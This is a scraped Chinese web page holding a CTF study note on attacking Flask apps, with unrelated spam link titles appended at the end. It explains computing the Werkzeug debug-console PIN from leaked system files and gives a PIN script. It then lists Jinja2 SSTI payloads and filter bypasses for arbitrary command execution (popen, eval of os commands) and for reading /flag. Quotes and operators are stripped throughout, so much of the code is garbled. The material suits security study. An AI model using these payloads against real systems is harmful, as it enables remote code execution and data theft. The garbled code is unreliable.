当前位置: 首页 > news >正文

网站建设重点是什么当地的网站建设

网站建设重点是什么,当地的网站建设,wordpress装饰,徐州网站建设培训目录 计算PIN码 例题1 SSTI的引用链 例题2 SSTI利用条件#xff1a; 渲染字符串可控#xff0c;也就说模板的内容可控 我们通过模板 语法 {{ xxx }}相当于变相的执行了服务器上的python代码 利用render_template_string函数参数可控#xff0c;或者部分可控 render_…目录 计算PIN码 例题1 SSTI的引用链 例题2 SSTI利用条件 渲染字符串可控也就说模板的内容可控 我们通过模板 语法 {{ xxx }}相当于变相的执行了服务器上的python代码 利用render_template_string函数参数可控或者部分可控 render_template     相当于 include 传入的时模板的名字执行的时模板文件内的模板语法 render_template_string 相当于 eval 执行传入的字符串直接作为模板语法解析 验证ssti是否存在 1 {{ 2*2 }} 2 {{ config }} 计算PIN码 如果文件读取存在可以拼凑出PIN的所有计算要素从而自己计算出PIN码 计算PIN码 modname: flask.app username: Administrator public_bits 内容 [Administrator, flask.app, Flask, D:\\Python\\Python310\\lib\\site-packages\\flask\\app.py] 我们需要知道当前登陆的用户名 private_bits 内容 [197975952026825, b5d744fd6-d3af-4dec-83f4-04043f200c3c] getNode     uuid.getnode machine_id  读注册表内容 总结 要计算PIN码需要private_bits 和public_bits  分别需要确定的是 1 python运行的脚本名 2 固定值  flask.app 3 固定值  Flask 4 当前脚本运行的绝对路径  可以从报错获取 5 uuid.getnode 6 machine_id [Administrator, flask.app, Flask, D:\\Python\\Python310\\lib\\site-packages\\flask\\app.py] [Administrator, flask.app, Flask, D:\\Python\\Python310\\Lib\\site-packages\\flask\\app.py] [197975952026825, 5d744fd6-d3af-4dec-83f4-04043f200c3c] [197975952026825, 5d744fd6-d3af-4dec-83f4-04043f200c3c] linux下 getNode读取的文件  /sys/class/net/eth0/address 02:42:0a:00:01:74 对其进行整理 s02:42:0a:00:01:74 ss.replace(:,) print(int(s[1:],16)) 2482658869620 boot_id  44ddd8c9-5268-4269-9bd7-5563103e44c2 3fa8bf6711e02f5e09e6936cb69334a95de825dd72459b267799158eafe81163 machine_id /proc/sys/kernel/random/boot_id/proc/self/cgroup  整理后 拼接 最终machine_id   05167573-d6ac-4836-ab76-a7897c7a600a67b526fe168364350b1a9d0ebfeb5507ccd18a0266195ce58774271715af430e 例题1 web91 访问/console发现开启了debug模式 读/etc/passwd看用户名 随便传值使其报错 得到app路径/usr/local/lib/python3.8/site-packages/flask/app.py /sys/class/net/eth0/address读getNode得到uuid 02420a000168 十六进制转十进制即可 2,482,658,869,608 尝试读 /etc/machine-id失败 读/proc/sys/kernel/random/boot_id 读 /proc/self/cgroup 整理后 拼接得到最终machine_id 44ddd8c9-5268-4269-9bd7-5563103e44c23fa8bf6711e02f5e09e6936cb69334a95de825dd72459b267799158eafe81163 贴出算PIN码的脚本 import hashlib from itertools import chaindef getPIN(public_bits,private_bits):rv Nonenum Noneh hashlib.sha1()for bit in chain(public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit bit.encode(utf-8)h.update(bit)h.update(bcookiesalt)cookie_name f__wzd{h.hexdigest()[:20]}# If we need to generate a pin we salt it a bit more so that we dont# end up with the same value and generate out 9 digitsif num is None:h.update(bpinsalt)num f{int(h.hexdigest(), 16):09d}[:9]# Format the pincode in groups of digits for easier remembering if# we dont have a result yet.if rv is None:for group_size in 5, 4, 3:if len(num) % group_size 0:rv -.join(num[x : x group_size].rjust(group_size, 0)for x in range(0, len(num), group_size))breakelse:rv numreturn rv, cookie_nameif __name__ __main__:public_bits[root,flask.app,Flask,/usr/local/lib/python3.8/site-packages/flask/app.py ]private_bits[2482658869608,44ddd8c9-5268-4269-9bd7-5563103e44c23fa8bf6711e02f5e09e6936cb69334a95de825dd72459b267799158eafe81163]PIN getPIN(public_bits,private_bits)print(PIN) 成功拿下console 为所欲为即可 SSTI的引用链 .__class__.__base__  拿到Object对象 .__subclasses__()[144]. 拿到os类 __init__.__globals__[popen](calc) 调用os类的popen方法执行calc参数 .__class__.__base__.__subclasses__()[144].__init__.__globals__[popen](calc) 突破过滤   1 过滤字符. .__class__   转化为  [__class__] name{{ [__class__][__base__][__subclasses__]()[132][__init__][__globals__][popen](ls /)[read]()}} 2 过滤下划线_ 第一种 构造下划线   {% set a (()|select|string|list).pop(24) %} {% print(a) %} 第二种 十六进制绕过  {{  ()[\x5f\x5fclass\x5f\x5f]  }} 3 绕过[]过滤 __getitem__   可以把中括号换成小括号使用 name{{ .__class__.__base__.__subclasses__().__getitem__(132) }} 4 过滤了{{ 使用{% 绕过 5 过滤了单引号或者双引号 name{{ .__class__.__base__.__subclasses__().__getitem__(132).__init__.__globals__[request.args.a](request.args.b).read() }} 6 过滤了数字 构造出1  {{(dict(ea)|join|count)}} 7 关键字绕过 class  base   {{dict(__cla,ass__a)|join}} 8 还可以使用全角的数字绕过 SSTI武器库 1、任意命令执行 {%for i in .__class__.__base__.__subclasses__()%}{%if i.__name__ _wrap_close%}{%print i.__init__.__globals__[popen](dir).read()%}{%endif%}{%endfor%} 2、任意命令执行 {{.__class__.__bases__[0]. __subclasses__()[138].__init__.__globals__[popen](cat /flag).read()}} //这个138对应的类是os._wrap_close只需要找到这个类的索引就可以利用这个payload 3、任意命令执行 {{url_for.__globals__[__builtins__][eval](__import__(os).popen(dir).read())}} 4、任意命令执行 {{x.__init__.__globals__[__builtins__][eval](__import__(os).popen(cat flag).read())}} //x的含义是可以为任意字母不仅仅限于x 5、任意命令执行 {{config.__init__.__globals__[__builtins__][eval](__import__(os).popen(cat flag).read())}} 6、文件读取 {{x.__init__.__globals__[__builtins__].open(/flag, r).read()}} //x的含义是可以为任意字母不仅仅限于x 例题2 web92 访问/login路由 随便传一个post 报错提示让post传一个name  存在ssti 先找os 演示一种比较实用的找os索引值的方法 post: name{{.__class__.__base__.__subclasses__()}} 先复制 粘贴到记事本中ctrlf找到os 删去该os及其后所有类 复制粘贴到vscode中 ctrlf搜索,有几个逗号os的索引值就是几这里就是132 payload: name{{.__class__.__base__.__subclasses__()[132].__init__.__globals__[popen](ls /).read()}} name{{.__class__.__base__.__subclasses__()[132].__init__.__globals__[popen](tac /F*).read()}}  或者 name{{ [__class__][__base__][__subclasses__]()[132][__init__][__globals__][popen](ls /)[read]()}} name{{ [__class__][__base__][__subclasses__]()[132][__init__][__globals__][popen](tac /F*)[read]()}}
http://www.yutouwan.com/news/58736/

相关文章:

  • 个人做网站流程图做一个购物商城网站多少钱
  • 什么网站必须要flash优书网小说
  • icp网站软文营销的五个步骤
  • 南宁做网站哪家公司好erp定制软件开发公司推荐
  • 常用的网站建设技术有什么网站设计 用户心理研究
  • 上海建设网站方法漂亮的网站底部代码
  • 宁波做网站多少钱个人介绍网页设计模板图片
  • 网站alexa排名查询腾讯企点是干嘛的
  • 提供电商网站建设创意设计产业
  • 怎么做一款网站宠物网站模板
  • 网站商城与网站区别吗如何用dw做旅游网站目录
  • 交互式网站和非交互式网站做网站空间放哪些文件夹
  • 爬取数据做网站零食网站建设的策划书
  • 外贸商城网站建设公司页面设计文献
  • 国外建站用什么最多注册公司需要多少资金
  • 网页视频怎么下载高清外贸网站优化推广
  • 闲鱼网站建设猪价格网
  • 怎么给公司建网站专门做汽车配件的网站
  • 个人网站设计论文参考文献最快新闻资讯在哪看
  • 网站要怎么备案北京网站建设联系电话
  • 内网穿透做网站能查到网站ip吗松江做移动网站
  • 做景观要用的植物网站望野王绩翻译
  • 公司建网站需要先注册域名电信的网做的网站移动网打不开该找电信还是移动
  • 个人网站如何建网站建设项目前分析
  • 带数据库网站模板电商运营培训机构
  • 网站建设应注意的问题科技类公司名称大全
  • 备案期间网站设计网站大全湖南岚鸿网站大全
  • 在线答题网站怎么做萝岗营销型网站建设
  • 珠海做网站多少钱企业网站建设视频教程
  • 网站建设文案策划网站导航的重要性